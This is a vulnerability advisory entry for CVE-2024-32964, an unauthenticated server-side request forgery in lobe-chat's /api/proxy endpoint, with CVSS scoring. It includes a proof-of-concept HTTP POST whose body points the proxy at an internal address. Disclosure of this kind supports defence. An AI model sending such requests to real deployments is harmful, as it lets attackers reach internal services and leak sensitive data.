CVE-2024-32964

CRITICAL9.0EPSS 73.3%

lobe-chat `/api/proxy` endpoint Server-Side Request Forgery vulnerability

發布日:2024/5/10修改日:2026/2/4

描述

### Summary The latest version of lobe-chat(by now v0.141.2) has an unauthorized ssrf vulnerability. An attacker can construct malicious requests to cause SSRF without logging in, attack intranet services, and leak sensitive information. ### Details * visit https://chat-preview.lobehub.com/settings/agent * you can attack all internal services by /api/proxy and get the echo in http response :) ![image](https://github.com/lobehub/lobe-chat/assets/55245002/c2894c34-7333-4ae1-864c-3b212b95eb21) ![image](https://github.com/lobehub/lobe-chat/assets/55245002/dd9ad696-7180-4700-8bff-1171a6a8ac91) ![image](https://github.com/lobehub/lobe-chat/assets/55245002/e2b97520-a6d5-4939-8313-46db8a1c4b75) ### PoC ```http POST /api/proxy HTTP/2 Host: xxxxxxxxxxxxxxxxx Cookie: LOBE_LOCALE=zh-CN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined; _ga=GA1.1.86608329.1711346216; _ga_63LP1TV70T=GS1.1.1711346215.1.1.1711346846.0.0.0 Content-Length: 23 Sec-Ch-Ua: "Google Chrome";v="123", "Not:A-Brand";v="8", "Chromium";v="123" Sec-Ch-Ua-Platform: "Windows" Sec-Ch-Ua-Mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: */* Origin: https://chat-preview.lobehub.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://chat-preview.lobehub.com/settings/agent Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7 http://172.23.0.1:8000/ ``` ### Impact SSRF ,All users will be impacted.

受影響套件(1)

CVSS 分數

來源版本嚴重程度向量
osvCVSS 3.1CRITICAL9.0CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H

參考連結(4)